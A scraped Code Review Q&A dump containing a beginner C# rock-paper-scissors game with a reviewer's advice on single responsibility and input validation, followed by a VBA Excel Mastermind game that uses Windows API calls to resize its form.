{
PlayGame();
}
public static void PlayGame()
{
string numOfRounds;
string selectMode;
int inputMode;
int computer;
bool roundsInRange = false;
int countRounds = 0;
int countWins = 0;
int countLoses = 0;
int countTies = 0;
IList rpsList = new ArrayList() { "rock", "paper", "scissors" };
Random r = new Random();
do
{
if (!roundsInRange)
{
Console.WriteLine("Rock Paper Scissors [Max rounds is 10]");
Console.WriteLine("Enter the number of rounds: ");
numOfRounds = Console.ReadLine();
if (int.TryParse(numOfRounds, out roundsInput))
{
if (roundsInput >= 1 && roundsInput <= 10)
{
roundsInRange = true;
}
else if (roundsInput < 1 || roundsInput > 10)
{
Console.WriteLine("Number out of range");
break;
}
else
{
Console.WriteLine("Not valid");
break;
}
}
}
if (roundsInRange)
{
Console.WriteLine("Choose Rock, Paper, or Scissors: ");
Console.WriteLine("1 - Rock");
Console.WriteLine("2 - Paper");
Console.WriteLine("3 - Scissors");
selectMode = Console.ReadLine();
computer = r.Next(0, rpsList.Count);
if (int.TryParse(selectMode, out inputMode))
{
switch (inputMode)
{
case 1:
player = "rock";
break;
case 2:
player = "paper";
break;
case 3:
player = "scissors";
break;
default:
Console.WriteLine("Invalid input");
break;
}
}
if (player == rpsList[computer].ToString())
countTies++;
else if (player == "rock" && rpsList[computer].Equals("scissors")
|| player == "paper" && rpsList[computer].Equals("rock")
|| player == "scissors" && rpsList[computer].Equals("paper"))
countWins++;
else countLoses++;
countRounds++;
Console.WriteLine($"Opponent Answer: {rpsList[computer]}");
Console.WriteLine($"Ties: {countTies} Wins: {countWins} Loses: {countLoses}");
Reset(countRounds, countWins, countLoses, countTies);
}
} while (inPlay);
}
public static void Reset(int rounds, int wins, int loses, int ties)
{
if (rounds == roundsInput)
{
string playAgain;
if (wins > loses)
{
Console.WriteLine("You win!");
}
if (wins == loses)
{
Console.WriteLine("Tie!");
}
if (wins < loses)
{
Console.WriteLine("You Lose!");
}
Console.WriteLine("Would you like to play again? Type: y/n");
playAgain = Console.ReadLine();
if (playAgain == "y")
{
PlayGame();
}
else if (playAgain == "n")
{
Console.WriteLine("Thanks for playing!");
inPlay = false;
}
else
{
Console.WriteLine("Invalid input");
inPlay = false;
}
}
}
}
}
</code></pre>
| [] | [
{
"body": "<h3>Single responsibility</h3>\n\n<p><code>PlayGame</code> is asking the user how many rounds to play, and it handles each round - all in the same loop. It also handles 'low-level' input validation, and it attempts to 'reset' the game after every round. That's too many different responsibilities for a single method.</p>\n\n<p><code>Reset</code> doesn't reset anything, but it does show the results of the current game and it starts a new game - but only if the current game is in the last round.</p>\n\n<p>That's all fairly confusing. It's better when classes and methods have a single, clearly defined responsibility, for example:</p>\n\n<ul>\n<li><code>int GetIntInput(string prompt, int minValue, int maxValue)</code> for input handling. This would keep asking until the user has given valid input. A boolean variant (for yes/no input) would also be useful.</li>\n<li><code>void PlayGame(int rounds)</code> would play a single game. Internally, I would indeed use a for loop: <code>for (int round = 0; round < rounds; round++) { ... }</code>. After that loop, it would display the results of the game and then return.</li>\n<li><code>void Main(string[] args)</code> would ask the user how many rounds to play, and then call <code>PlayGame</code>. Afterwards, it can ask the user if they want to play again. This avoids the recursion between your <code>PlayGame</code> and <code>Reset</code> methods, which can lead to a stack overflow when playing many games in succession.</li>\n<li>Methods like <code>bool Ties(string myChoice, string opponentChoice)</code> and <code>bool Beats(string myChoice, string opponentChoice)</code> would let you simplify the round-handling logic a bit.</li>\n</ul>\n\n<h3>Problems</h3>\n\n<ul>\n<li>In the <code>roundsInput</code> validation, the final <code>else</code> block will never be executed. It should be moved out of the <code>if (int.TryParse(numOfRounds, out roundsInput))</code> body.</li>\n<li><code>else if (roundsInput < 1 || roundsInput > 10)</code> can be simplified to just <code>else</code>. The check above already takes care of the range check.</li>\n<li>During gameplay, chosing anything other than 1, 2 or 3 causes the game to use your last choice again. It would be better to continue asking for valid input before proceeding.</li>\n</ul>\n\n<h3>Other notes</h3>\n\n<ul>\n<li>It's better to declare variables as close to where they will be used as possible, and to initialize them immediately, instead of declaring them up-front at the start of a method.</li>\n<li><code>ArrayList</code> is an old type that was created before C# had generics. Nowadays you should use <code>List<T></code> instead. With <code>rpsList</code> as a <code>List<string></code>, the compiler knows that <code>rpsList[index]</code> will return a string, so you don't need those <code>ToString()</code> calls, and you can use the <code>==</code> operator for string comparisons instead of <code>Equals</code>.</li>\n<li>The strings <code>\"rock\"</code>, <code>\"paper\"</code> and <code>\"scissors\"</code> are repeated several times throughout the code. It's easy to introduce a bug by making a typo. Use constants instead: <code>public const string Rock = \"rock\";</code>. Or rather, use an <code>enum</code>: <code>public enum Choice { Rock, Paper, Scissor }</code>. This makes it clear that a <code>Choice</code> can only be one of these 3 values, whereas a string can hold any possible string value.</li>\n<li><code>out</code> variables can be declared inline. Also note that the results of <code>Console.ReadLine()</code> are only used once. This means that input parsing can be simplified to <code>if (int.TryParse(Console.ReadLine(), out int rounds))</code>.</li>\n<li>Instead of repeating <code>rpsList[computer]</code>, you might as well store the choice directly (and rename that variable to something more descriptive): <code>opponentChoice = rpsList[r.Next(0, rpsList.Count)];</code>.</li>\n<li>Instead of <code>if (condition) { ... }</code>, it's better to use an early-out return to reduce nesting: <code>if (!condition) return; ...</code>.</li>\n<li>Static fields may seem like a convenient way to communicate between methods, but they lead to dependencies between methods that are hard to track, ultimately leading to code that is difficult to manage. It's better to communicate via parameters and return values only. In this case, <code>roundsInput</code> and <code>player</code> should be local variables in <code>PlayGame</code>, and <code>inPlay</code> and <code>Reset</code> are better solved in a different way (by letting <code>Main</code> or another top-level method handle the restarting).</li>\n<li><code>if (wins > loses) .. if (wins == loses) .. if (wins < loses) ..</code> can be simplified to <code>if (wins > loses) .. else if (wins == loses) .. else ..</code>. This also ensures that, even when a condition is modified, you never get more then one message.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-28T16:39:41.137",
"Id": "432326",
"Score": "0",
"body": "Excellent, I learned a lot, I ended up removing Reset and ended up asking the number of rounds in static main and then passing rounds to 'PlayGame(int rounds)'. Also you mentioned I should use 'List<string>', but I think I used 'IList<string>'. I did that and I wanted to know if using this actually lets me access the list as an index and lets say I decided to use **string[] rpsList = ...** , would this not let me access the list as an index would it?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-29T14:28:12.447",
"Id": "432442",
"Score": "0",
"body": "`IList<T>` contains an indexer, and both `List<T>` and `T[]` implement `IList<T>`, so a variable of type `IList<string>` can be assigned either a list or an array of strings. Indexing will work fine in both cases. There's no benefit to making `rpsList` an `IList<string>` here though - that's more useful for method parameters, so methods aren't limited to a single type only. In this case I would use `var rpsList = ...`, so it'll have the same type as whatever you're assigning to it, without having to write the type name twice."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-21T11:32:37.643",
"Id": "222702",
"ParentId": "222655",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "222702",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-06-20T18:48:20.307",
"Id": "222655",
"Score": "2",
"Tags": [
"c#",
"beginner",
"game",
"console"
],
"Title": "Rock Paper Scissors C# game with rounds input"
} | 222655 |
<p>For those who are unfamiliar with the game:</p>
<p><a href="https://en.wikipedia.org/wiki/Mastermind_(board_game)" rel="nofollow noreferrer">https://en.wikipedia.org/wiki/Mastermind_(board_game)</a></p>
<p>A link to the workbook: </p>
<p><a href="https://github.com/Evanml2030/Excel-Mastermind" rel="nofollow noreferrer">https://github.com/Evanml2030/Excel-Mastermind</a></p>
<p>Had trouble getting the form and scroll bar to adjust based on the resolution of the monitor that it is inside. It does not work on screens running with a resolution greater than 1600 x 900. See the resize me function in the form code, labeled front end, to take a look at the code.</p>
<p><strong>APPLICATION:</strong></p>
<pre><code>Option Explicit
'ENUMERATED TYPES
Public Enum GamePieceColor
rgbRed = 255
rgbGreen = 65280
rgbBlue = 16711680
rgbYellow = 65535
rgbBlack = 0
rgbWhite = 16777215
rgbGrey = 12632256
rgbLightGrey = -2147483633
rgbNone = -1
End Enum
'STRUCTS
Public Type GuessArray
ColorOne As GamePieceColor
ColorTwo As GamePieceColor
ColorThree As GamePieceColor
ColorFour As GamePieceColor
End Type
Private Type GameOver
TrueFalse As Boolean
Reason As String
End Type
Private Type GuessValid
TrueFalse As Boolean
Reason As String
End Type
Public Type ResponsePegs
MatchesComplete As Long
MatchesColor As Long
End Type
Public Type RequestNextColor
Row As Long
CurrentColor As GamePieceColor
End Type
Public Type RequestCheckGuess
GuessArray As GuessArray
End Type
Public Type ResponseNextColor
GuessNumber As Long
NextColor As GamePieceColor
End Type
Public Type ResponseCheckGuess
GuessValid As GuessValid
GuessNumber As Long
ResponsePegs As ResponsePegs
GameOver As GameOver
End Type
'GLOBAL VARIABLES
Private GameOver As Boolean
Private CurrentGuessNumber As Long
Private MasterGuessArray As GuessArray
Private MasterGuessArrayVisible As Boolean
Private Const MaxGuesses = 9
'GAME LOOP
Public Sub Main()
Dim GameSpace As GameSpace
Set GameSpace = New GameSpace
GameSpace.Show
End Sub
Public Sub GameLoop(ByRef GameSpace As GameSpace)
GameOver = False
CurrentGuessNumber = 0
MasterGuessArray = GenerateMasterGuessArray
MasterGuessArrayVisible = False
Do While GameOver = False
DoEvents
On Error GoTo UserFormUnloaded:
If GameSpace.Visible = False Then
Exit Do
End If
GameSpace.Resize
Loop
Unload GameSpace
UserFormUnloaded:
End Sub
Private Function GenerateMasterGuessArray() As GuessArray
GenerateMasterGuessArray.ColorOne = RandomColor
GenerateMasterGuessArray.ColorTwo = RandomColor
GenerateMasterGuessArray.ColorThree = RandomColor
GenerateMasterGuessArray.ColorFour = RandomColor
End Function
Private Function RandomColor() As GamePieceColor
Dim RandomNumber As Long
RandomNumber = Application.WorksheetFunction.RandBetween(0, 5)
Select Case RandomNumber
Case 0
RandomColor = rgbBlack
Case 1
RandomColor = rgbBlue
Case 2
RandomColor = rgbGreen
Case 3
RandomColor = rgbRed
Case 4
RandomColor = rgbWhite
Case 5
RandomColor = rgbYellow
End Select
End Function
'GAME FUNCTIONS
Public Function GetCheckGuess(ByRef RequestCheckGuess As RequestCheckGuess) As ResponseCheckGuess
If CheckMaxGuessesExceeded = True Then
GameOver = True
GetCheckGuess.GameOver.TrueFalse = True
GetCheckGuess.GameOver.Reason = "YOU LOSE! BETTER LUCK NEXT TIME!"
Exit Function
End If
If CheckGuessValid(RequestCheckGuess.GuessArray) = False Then
GetCheckGuess.GuessValid.TrueFalse = False
GetCheckGuess.GuessValid.Reason = "PLEASE DO NOT INCLUDE ANY GREY SQUARES IN YOUR GUESS"
Exit Function
End If
GetCheckGuess = GuessValidResponseAssemble(RequestCheckGuess.GuessArray)
CurrentGuessNumber = CurrentGuessNumber + 1
If CheckGameWon(GetCheckGuess.ResponsePegs) = True Then
GameOver = True
GetCheckGuess.GameOver.TrueFalse = True
GetCheckGuess.GameOver.Reason = "CONGRAGULATIONS, YOU WIN!"
Exit Function
End If
End Function
Private Function CheckMaxGuessesExceeded() As Boolean
If CurrentGuessNumber > MaxGuesses Then
CheckMaxGuessesExceeded = True
Else
CheckMaxGuessesExceeded = False
End If
End Function
Private Function CheckGuessValid(ByRef GuessArray As GuessArray) As Boolean
If (GuessArray.ColorOne = rgbGrey) Or _
(GuessArray.ColorTwo = rgbGrey) Or _
(GuessArray.ColorThree = rgbGrey) Or _
(GuessArray.ColorFour = rgbGrey) Then
CheckGuessValid = False
Else
CheckGuessValid = True
End If
End Function
Private Function GuessValidResponseAssemble(ByRef GuessArray As GuessArray) As ResponseCheckGuess
GuessValidResponseAssemble.GuessValid.TrueFalse = True
GuessValidResponseAssemble.GuessNumber = CurrentGuessNumber
GuessValidResponseAssemble.ResponsePegs = DetermineMatches(GuessArray)
End Function
Private Function CheckGameWon(ByRef ResponsePegs As ResponsePegs) As Boolean
If ResponsePegs.MatchesComplete = 4 Then
CheckGameWon = True
Else
CheckGameWon = False
End If
End Function
Private Function DetermineMatches(ByRef GuessArray As GuessArray) As ResponsePegs
Dim TempMasterGuessArray As GuessArray
TempMasterGuessArray = MasterGuessArray
If GuessArray.ColorOne = TempMasterGuessArray.ColorOne Then
GuessArray.ColorOne = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesComplete = DetermineMatches.MatchesComplete + 1
End If
If GuessArray.ColorTwo = TempMasterGuessArray.ColorTwo Then
GuessArray.ColorTwo = rgbNone
TempMasterGuessArray.ColorTwo = rgbNone
DetermineMatches.MatchesComplete = DetermineMatches.MatchesComplete + 1
End If
If GuessArray.ColorThree = TempMasterGuessArray.ColorThree Then
GuessArray.ColorThree = rgbNone
TempMasterGuessArray.ColorThree = rgbNone
DetermineMatches.MatchesComplete = DetermineMatches.MatchesComplete + 1
End If
If GuessArray.ColorFour = TempMasterGuessArray.ColorFour Then
GuessArray.ColorFour = rgbNone
TempMasterGuessArray.ColorFour = rgbNone
DetermineMatches.MatchesComplete = DetermineMatches.MatchesComplete + 1
End If
If TempMasterGuessArray.ColorOne <> rgbNone Then
If GuessArray.ColorTwo = TempMasterGuessArray.ColorOne Then
GuessArray.ColorTwo = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorThree = TempMasterGuessArray.ColorOne Then
GuessArray.ColorThree = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorFour = TempMasterGuessArray.ColorOne Then
GuessArray.ColorFour = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
End If
End If
If TempMasterGuessArray.ColorTwo <> rgbNone Then
If GuessArray.ColorOne = TempMasterGuessArray.ColorTwo Then
GuessArray.ColorOne = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorThree = TempMasterGuessArray.ColorTwo Then
GuessArray.ColorThree = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorFour = TempMasterGuessArray.ColorTwo Then
GuessArray.ColorFour = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
End If
End If
If TempMasterGuessArray.ColorThree <> rgbNone Then
If GuessArray.ColorOne = TempMasterGuessArray.ColorThree Then
GuessArray.ColorOne = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorTwo = TempMasterGuessArray.ColorThree Then
GuessArray.ColorTwo = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorFour = TempMasterGuessArray.ColorThree Then
GuessArray.ColorFour = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
End If
End If
If TempMasterGuessArray.ColorFour <> rgbNone Then
If GuessArray.ColorOne = TempMasterGuessArray.ColorFour Then
GuessArray.ColorOne = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorTwo = TempMasterGuessArray.ColorFour Then
GuessArray.ColorTwo = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
ElseIf GuessArray.ColorThree = TempMasterGuessArray.ColorFour Then
GuessArray.ColorThree = rgbNone
TempMasterGuessArray.ColorOne = rgbNone
DetermineMatches.MatchesColor = DetermineMatches.MatchesColor + 1
End If
End If
End Function
Public Function GetNextColor(ByRef RequestNextColor As RequestNextColor) As ResponseNextColor
GetNextColor.GuessNumber = CurrentGuessNumber
Select Case RequestNextColor.CurrentColor
Case rgbGrey
GetNextColor.NextColor = rgbBlack
Case rgbBlack
GetNextColor.NextColor = rgbBlue
Case rgbBlue
GetNextColor.NextColor = rgbGreen
Case rgbGreen
GetNextColor.NextColor = rgbRed
Case rgbRed
GetNextColor.NextColor = rgbWhite
Case rgbWhite
GetNextColor.NextColor = rgbYellow
Case rgbYellow
GetNextColor.NextColor = rgbBlack
End Select
End Function
Public Function GetCurrentGuessNumber() As Long
GetCurrentGuessNumber = CurrentGuessNumber
End Function
Public Function GetMasterRow() As GuessArray
GetMasterRow.ColorOne = MasterGuessArray.ColorOne
GetMasterRow.ColorTwo = MasterGuessArray.ColorTwo
GetMasterRow.ColorThree = MasterGuessArray.ColorThree
GetMasterRow.ColorFour = MasterGuessArray.ColorFour
End Function
Public Sub ToggleMasterGuessArrayVisible()
MasterGuessArrayVisible = Not MasterGuessArrayVisible
End Sub
Public Function GetMasterGuessArrayVisible() As Boolean
GetMasterGuessArrayVisible = MasterGuessArrayVisible
End Function
</code></pre>
<p><strong>FRONT END:</strong></p>
<pre><code>Option Explicit
'API DECLARATIONS
Private Declare PtrSafe Function FindWindow Lib "user32.dll" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare PtrSafe Function MonitorFromWindow Lib "user32.dll" (ByVal hwnd As LongPtr, ByVal DWORD As LongPtr) As LongPtr
Private Declare PtrSafe Function GetMonitorInfoA Lib "user32.dll" (ByVal hMonitor As LongPtr, ByRef lpmi As MONITORINFOEX) As Boolean
'STRUCTS
Private Type RECT
X1 As Long
Y1 As Long
X2 As Long
Y2 As Long
End Type
Private Type MONITORINFOEX
cbSize As Long
rcMonitor As RECT
rcWork As RECT
dwFlags As Long
End Type
Private Type MONITORRESOLUTION
x As Long
Y As Long
End Type
'GLOBALS
Private Const MONITOR_DEFAULTTONEAREST = 2
'GAME LOOP INITIATE
Private Sub UserForm_Activate()
MasterMind.GameLoop Me
End Sub
'RESIZE
Public Sub Resize()
Dim hwnd As LongPtr
Dim monitorHwnd As LongPtr
Dim returnValue As Boolean
Dim monitorInfo As MONITORINFOEX
Dim rcMonitorRec As RECT
Dim monitorRes As MONITORRESOLUTION
hwnd = FindWindow("ThunderDFrame", Me.Caption)
monitorHwnd = MonitorFromWindow(hwnd, MONITOR_DEFAULTTONEAREST)
monitorInfo.cbSize = LenB(monitorInfo)
returnValue = GetMonitorInfoA(monitorHwnd, monitorInfo)
rcMonitorRec = monitorInfo.rcMonitor
monitorRes.x = rcMonitorRec.X2 - rcMonitorRec.X1
monitorRes.Y = rcMonitorRec.Y2 - rcMonitorRec.Y1
Me.Height = (monitorRes.Y - (monitorRes.Y * 0.3955))
End Sub
'GUESS
Private Sub GuessButton_Click()
Guess
End Sub
Private Sub Guess()
Dim Request As RequestCheckGuess
Dim Response As ResponseCheckGuess
Request = AssembleRequest
Response = MasterMind.GetCheckGuess(Request)
MatchControlsFill Response.GuessNumber, Response.ResponsePegs.MatchesComplete, Response.ResponsePegs.MatchesColor
HandleResponseGameOver Response
End Sub
Private Function AssembleRequest() As RequestCheckGuess
AssembleRequest.GuessArray.ColorOne = Me.Controls.Item("A" & MasterMind.GetCurrentGuessNumber).BackColor
AssembleRequest.GuessArray.ColorTwo = Me.Controls.Item("B" & MasterMind.GetCurrentGuessNumber).BackColor
AssembleRequest.GuessArray.ColorThree = Me.Controls.Item("C" & MasterMind.GetCurrentGuessNumber).BackColor
AssembleRequest.GuessArray.ColorFour = Me.Controls.Item("D" & MasterMind.GetCurrentGuessNumber).BackColor
End Function
Private Sub MatchControlsFill(ByRef Row As Long, ByRef MatchesComplete As Long, ByRef MatchesColor As Long)
If MatchesComplete > 0 Then
MatchesComplete = MatchesComplete - 1
Me.Controls("Match_A" & Row).BackColor = 0
ElseIf MatchesColor > 0 Then
MatchesColor = MatchesColor - 1
Me.Controls("Match_A" & Row).BackColor = 16777215
End If
If MatchesComplete > 0 Then
MatchesComplete = MatchesComplete - 1
Me.Controls("Match_B" & Row).BackColor = 0
ElseIf MatchesColor > 0 Then
MatchesColor = MatchesColor - 1
Me.Controls("Match_B" & Row).BackColor = 16777215
End If
If MatchesComplete > 0 Then
MatchesComplete = MatchesComplete - 1
Me.Controls("Match_C" & Row).BackColor = 0
ElseIf MatchesColor > 0 Then
MatchesColor = MatchesColor - 1
Me.Controls("Match_C" & Row).BackColor = 16777215
End If
If MatchesComplete > 0 Then
MatchesComplete = MatchesComplete - 1
Me.Controls("Match_D" & Row).BackColor = 0
ElseIf MatchesColor > 0 Then
MatchesColor = MatchesColor - 1
Me.Controls("Match_D" & Row).BackColor = 16777215
End If
End Sub
Private Sub HandleResponseGameOver(ByRef Response As ResponseCheckGuess)
If Response.GameOver.TrueFalse = True Then
UnhideMasterGuessArray
MsgBox Response.GameOver.Reason
Me.Hide
Exit Sub
ElseIf Response.GuessValid.TrueFalse = False Then
MsgBox Response.GuessValid.Reason
Exit Sub
End If
End Sub
'BUTTON COLOR ROTATION
Private Sub A0_Click()
RotateColor "A", 0, Me.A0.BackColor
End Sub
Private Sub B0_Click()
RotateColor "B", 0, Me.B0.BackColor
End Sub
Private Sub C0_Click()
RotateColor "C", 0, Me.C0.BackColor
End Sub
Private Sub D0_Click()
RotateColor "D", 0, Me.D0.BackColor
End Sub
Private Sub A1_Click()
RotateColor "A", 1, Me.A1.BackColor
End Sub
Private Sub B1_Click()
RotateColor "B", 1, Me.B1.BackColor
End Sub
Private Sub C1_Click()
RotateColor "C", 1, Me.C1.BackColor
End Sub
Private Sub D1_Click()
RotateColor "D", 1, Me.D1.BackColor
End Sub
Private Sub A2_Click()
RotateColor "A", 2, Me.A2.BackColor
End Sub
Private Sub B2_Click()
RotateColor "B", 2, Me.B2.BackColor
End Sub
Private Sub C2_Click()
RotateColor "C", 2, Me.C2.BackColor
End Sub
Private Sub D2_Click()
RotateColor "D", 2, Me.D2.BackColor
End Sub
Private Sub A3_Click()
RotateColor "A", 3, Me.A3.BackColor
End Sub
Private Sub B3_Click()
RotateColor "B", 3, Me.B3.BackColor
End Sub
Private Sub C3_Click()
RotateColor "C", 3, Me.C3.BackColor
End Sub
Private Sub D3_Click()
RotateColor "D", 3, Me.D3.BackColor
End Sub
Private Sub A4_Click()
RotateColor "A", 4, Me.A4.BackColor
End Sub
Private Sub B4_Click()
RotateColor "B", 4, Me.B4.BackColor
End Sub
Private Sub C4_Click()
RotateColor "C", 4, Me.C4.BackColor
End Sub
Private Sub D4_Click()
RotateColor "D", 4, Me.D4.BackColor
End Sub
Private Sub A5_Click()
RotateColor "A", 5, Me.A5.BackColor
End Sub
Private Sub B5_Click()
RotateColor "B", 5, Me.B5.BackColor
End Sub
Private Sub C5_Click()
RotateColor "C", 5, Me.C5.BackColor
End Sub
Private Sub D5_Click()
RotateColor "D", 5, Me.D5.BackColor
End Sub
Private Sub A6_Click()
RotateColor "A", 6, Me.A6.BackColor
End Sub
Private Sub B6_Click()
RotateColor "B", 6, Me.B6.BackColor
End Sub
Private Sub C6_Click()
RotateColor "C", 6, Me.C6.BackColor
End Sub
Private Sub D6_Click()
RotateColor "D", 6, Me.D6.BackColor
End Sub
Private Sub A7_Click()
RotateColor "A", 7, Me.A7.BackColor
End Sub
Private Sub B7_Click()
RotateColor "B", 7, Me.B7.BackColor
End Sub
Private Sub C7_Click()
RotateColor "C", 7, Me.C7.BackColor
End Sub
Private Sub D7_Click()
RotateColor "D", 7, Me.D7.BackColor
End Sub
Private Sub A8_Click()
RotateColor "A", 8, Me.A8.BackColor
End Sub
Private Sub B8_Click()
RotateColor "B", 8, Me.B8.BackColor
End Sub
Private Sub C8_Click()
RotateColor "C", 8, Me.C8.BackColor
End Sub
Private Sub D8_Click()
RotateColor "D", 8, Me.D8.BackColor
End Sub
Private Sub A9_Click()
RotateColor "A", 9, Me.A9.BackColor
End Sub
Private Sub B9_Click()
RotateColor "B", 9, Me.B9.BackColor
End Sub
Private Sub C9_Click()
RotateColor "C", 9, Me.C9.BackColor
End Sub
Private Sub D9_Click()
RotateColor "D", 9, Me.D9.BackColor
End Sub
Private Sub RotateColor(ByRef Letter As String, ByRef Row As Long, ByRef color As GamePieceColor)
Dim Request As RequestNextColor
Dim Response As ResponseNextColor
Request.CurrentColor = color
Response = MasterMind.GetNextColor(Request)
If Response.GuessNumber = Row Then
Me.Controls(Letter & Row).BackColor = Response.NextColor
Me.Controls(Letter & Row).Caption = ButtonCaption(Response.NextColor)
Me.Controls(Letter & Row).ForeColor = ButtonFontColor(Response.NextColor)
End If
End Sub
Private Function ButtonCaption(ByRef color As GamePieceColor) As String
Select Case color
Case rgbBlack
ButtonCaption = "Black"
Case rgbBlue
ButtonCaption = "Blue"
Case rgbGreen
ButtonCaption = "Green"
Case rgbRed
ButtonCaption = "Red"
Case rgbWhite
ButtonCaption = "White"
Case rgbYellow
ButtonCaption = "Yellow"
End Select
End Function
Private Function ButtonFontColor(ByRef color As GamePieceColor) As GamePieceColor
Select Case color
Case rgbBlack
ButtonFontColor = rgbWhite
Case rgbBlue
ButtonFontColor = rgbWhite
Case rgbGreen
ButtonFontColor = rgbBlack
Case rgbRed
ButtonFontColor = rgbBlack
Case rgbWhite
ButtonFontColor = rgbBlack
Case rgbYellow
ButtonFontColor = rgbBlack
End Select
End Function
'SHOW ANSWER
Private Sub UnhideButton_Click()
If MasterMind.GetMasterGuessArrayVisible = True Then
HideMasterGuessArray
Me.UnhideButton.Caption = "UNHIDE"
MasterMind.ToggleMasterGuessArrayVisible
Else
UnhideMasterGuessArray
Me.UnhideButton.Caption = "HIDE"
MasterMind.ToggleMasterGuessArrayVisible
End If
End Sub
Private Sub UnhideMasterGuessArray()
Dim MasterGuessArray As GuessArray
MasterGuessArray = MasterMind.GetMasterRow
Me.Master1.BackColor = MasterGuessArray.ColorOne
Me.Master1.Caption = MasterButtonCaption(MasterGuessArray.ColorOne)
Me.Master1.ForeColor = MasterButtonFontColor(MasterGuessArray.ColorOne)
Me.Master2.BackColor = MasterGuessArray.ColorTwo
Me.Master2.Caption = MasterButtonCaption(MasterGuessArray.ColorTwo)
Me.Master2.ForeColor = MasterButtonFontColor(MasterGuessArray.ColorTwo)
Me.Master3.BackColor = MasterGuessArray.ColorThree
Me.Master3.Caption = MasterButtonCaption(MasterGuessArray.ColorThree)
Me.Master3.ForeColor = MasterButtonFontColor(MasterGuessArray.ColorThree)
Me.Master4.BackColor = MasterGuessArray.ColorFour
Me.Master4.Caption = MasterButtonCaption(MasterGuessArray.ColorFour)
Me.Master4.ForeColor = MasterButtonFontColor(MasterGuessArray.ColorFour)
End Sub
Private Function MasterButtonCaption(ByRef color As GamePieceColor) As String
Select Case color
Case rgbBlack
MasterButtonCaption = "Black"
Case rgbBlue
MasterButtonCaption = "Blue"
Case rgbGreen
MasterButtonCaption = "Green"
Case rgbRed
MasterButtonCaption = "Red"
Case rgbWhite
MasterButtonCaption = "White"
Case rgbYellow
MasterButtonCaption = "Yellow"
End Select
End Function
Private Function MasterButtonFontColor(ByRef color As GamePieceColor) As GamePieceColor
Select Case color
Case rgbBlack
MasterButtonFontColor = rgbWhite
Case rgbBlue
MasterButtonFontColor = rgbWhite
Case rgbGreen
MasterButtonFontColor = rgbBlack
Case rgbRed
MasterButtonFontColor = rgbBlack
Case rgbWhite
MasterButtonFontColor = rgbBlack
Case rgbYellow
MasterButtonFontColor = rgbBlack
End Select
End Function
Private Sub HideMasterGuessArray()
Dim MasterGuessArray As GuessArray
MasterGuessArray = MasterMind.GetMasterRow
Me.Master1.BackColor = GamePieceColor.rgbLightGrey
Me.Master2.BackColor = GamePieceColor.rgbLightGrey
Me.Master3.BackColor = GamePieceColor.rgbLightGrey
Me.Master4.BackColor = GamePieceColor.rgbLightGrey
Me.Master1.ForeColor = rgbBlack
Me.Master2.ForeColor = rgbBlack
Me.Master3.ForeColor = rgbBlack
Me.Master4.ForeColor = rgbBlack
Me.Master1.Caption = "??"
Me.Master2.Caption = "??"
Me.Master3.Caption = "??"
Me.Master4.Caption = "??"
End Sub
</code></pre>
<p><strong>DETERMINE MATCHES FIXED UP:</strong></p>
<pre><code>Private Function DetermineMatches(ByRef GuessArray As GuessArray) As ResponsePegs
Dim TempMasterGuessArray As GuessArray
Dim StartGuessArray As LongPtr
Dim ColorGuessArray As GamePieceColor
Dim StartTempMasterGuessArray As LongPtr
Dim ColorTempMasterGuessArray As GamePieceColor
Dim NullGamePieceColor As GamePieceColor
Dim OffSetI As Long
Dim OffsetII As Long
NullGamePieceColor = rgbNone
StartGuessArray = VarPtr(GuessArray)
StartTempMasterGuessArray = VarPtr(TempMasterGuessArray)
TempMasterGuessArray = MasterGuessArray
For OffSetI = 0 To 12 Step 4
CopyMemoryI VarPtr(ColorGuessArray), StartGuessArray + OffSetI, 4
CopyMemoryI VarPtr(ColorTempMasterGuessArray), StartTempMasterGuessArray + OffSetI, 4
If ColorGuessArray = ColorTempMasterGuessArray Then
CopyMemoryI StartGuessArray + OffSetI, VarPtr(NullGamePieceColor), 4
CopyMemoryI StartTempMasterGuessArray + OffSetI, VarPtr(NullGamePieceColor), 4
DetermineMatches.MatchesComplete = DetermineMatches.MatchesComplete + 1
End If
Next OffSetI
For OffSetI = 0 To 12 Step 4
CopyMemoryI VarPtr(ColorGuessArray), StartGuessArray + OffSetI, 4
If ColorGuessArray <> rgbNone Then
For OffsetII = 0 To 12 Step 4
CopyMemoryI VarPtr(ColorTempMasterGuessArray), StartTempMasterGuessArray + OffsetII, 4
If ColorGuessArray = ColorTempMasterGuessArray Then
CopyMemoryI StartGuessArray + OffSetI, VarPtr(NullGamePieceColor), 4
